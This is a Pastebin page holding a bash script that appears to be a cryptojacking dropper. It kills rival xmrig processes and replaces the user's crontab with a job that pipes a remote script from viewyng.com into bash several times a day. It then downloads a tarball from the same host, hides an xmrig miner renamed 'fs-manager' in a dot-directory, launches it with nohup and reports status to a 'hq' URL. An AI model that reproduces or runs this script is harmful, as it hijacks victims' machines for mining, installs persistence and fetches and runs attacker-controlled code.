Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # find a good writable path
- self="/tmp/setup.sh"
- paths=("/var/tmp" "/tmp" "${PWD}")
- workdir=""
- files="https://www.viewyng.com/includes/libraries/files.tar.gz"
- notifyurl="https://www.viewyng.com/includes/libraries/notify.php?p=sf"
- product="sf"
- setupurl="https://www.viewyng.com/includes/libraries/getsetup.php?p=sf"
- lockfile="/tmp/setupsh.lock"
- notify ()
- {
- curl -s -F "msg=$1" "${notifyurl}" > /dev/null 2>&1
- }
- #make sure we're only running one instance
- if [ -f "$lockfile" ]; then
- exit;
- fi
- #lock
- touch $lockfile
- for i in ${paths[@]}; do
- if [ -w "${i}" ]; then
- workdir=${i}
- break
- fi
- done
- # if no writable dir found
- if [ -z "$workdir" ]; then
- notify "no write"
- exit
- fi
- # kill old instances of xmrig
- if [[ $(ps -ef | grep xmrig | grep -v grep | wc -l) != 0 ]]; then
- killall xmrig
- fi
- # save current crontab to a file
- cronfile="${workdir}/.crontab.tmp"
- crontab -l > "${cronfile}"
- # remove old /var/tmp/check-****.sh from cron
- sed -i '/\/var\/tmp\/check-/d' "${cronfile}"
- # check if we already have cron setup
- if ! grep -q "${setupurl}" "${cronfile}"; then
- # setup new cron if needed
- echo "52 1,4,7,10,13,16,19 * * * curl -s \"${setupurl}\" | bash" > "${cronfile}"
- # report to hq
- notify "Cron installed"
- fi
- crontab "${cronfile}"
- rm -f "${cronfile}"
- # check if xmrig is where we want it to be - $workdir/.X1M-Unix
- xmrigdir="${workdir}/.X1M-Unix"
- if [ ! -d "${xmrigdir}" ]; then
- # if can't find xmrig - download new
- mkdir "${xmrigdir}"
- fi
- download=0
- # check if we have executable
- if [ ! -f "${xmrigdir}/fs-manager" ]; then
- notify "fs-manager not found"
- download=1
- else
- notify "fs-manager found"
- # verify config is up to date
- # if not - kill xmrig, update config
- fi
- launch=0
- if [ $download = 1 ]; then
- notify "Downloading files"
- curl -s -o "${xmrigdir}/files.tar.gz" "${files}"
- if [ ! -f "${xmrigdir}/files.tar.gz" ]; then
- notify "files dl failed"
- exit
- fi
- cd "${xmrigdir}"
- tar xvzf files.tar.gz > /dev/null 2>&1
- if [ ! -f "fs-manager" ]; then
- notify "executable not found"
- exit
- fi
- rm -f files.tar.gz
- chmod +x fs-manager
- launch=1
- fi
- # check if xmrig is runing
- if [[ $(ps -ef | grep fs-manager | grep -v grep | wc -l) = 0 ]]; then
- # if not already runing, launch xmrig with nohup
- launch=1
- fi
- if [ $launch = 1 ]; then
- #nohup
- cd "${xmrigdir}"
- nohup ./fs-manager > out.log 2>&1 &
- fi
- # report to hq if xmrig is runing (hashrate) or if glibc not found or if connection refused or elf not found or upload xmrig/nohup log if can't determine the reason
- notify "all done"
- rm -f "${lockfile}"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement